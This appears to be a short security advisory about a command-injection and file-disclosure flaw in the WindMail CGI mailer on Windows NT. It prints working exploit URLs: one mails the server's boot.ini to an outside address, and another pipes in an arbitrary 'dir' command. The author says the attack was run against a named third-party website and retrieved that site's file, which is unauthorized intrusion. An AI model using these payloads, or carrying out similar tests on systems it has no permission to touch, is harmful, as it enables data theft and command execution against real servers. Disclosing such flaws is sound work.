I found some vulnerabilities if windmail run as a CGI
application.tested On WindowsNT 4.0, Windmail 3.05
successfully.
WindMail is a 32-bit Windows console program by geocel that
gives you command-line e-mail messaging capability.
You can download an evaluation copy of WindMail 3.0 at:
http://www.geocel.com/download/wmail301e.exe
WindMail has a feature that allow Mail HTML form results
from CGI scripts
I found windmail doesn't check either attachment file or
special character for parameters, that allow you execute
arbitrary command which web user can do:
http://xx.com/cgi-bin/WINDMAIL.EXE?%20-n%20c:\boot.ini%
[EMAIL PROTECTED]%20|%20dir%20c:\
After the request, windmail will send c:\boot.ini to
[EMAIL PROTECTED] and execute "dir c:\" command.
For example:
http://www.metro.net/cgi-bin/windmail.exe?-n%20c:\boot.ini%
[EMAIL PROTECTED]
After a while, check [EMAIL PROTECTED], i got a copy of
boot.ini from www.metro.net
[EMAIL PROTECTED]
http://www.cnns.net
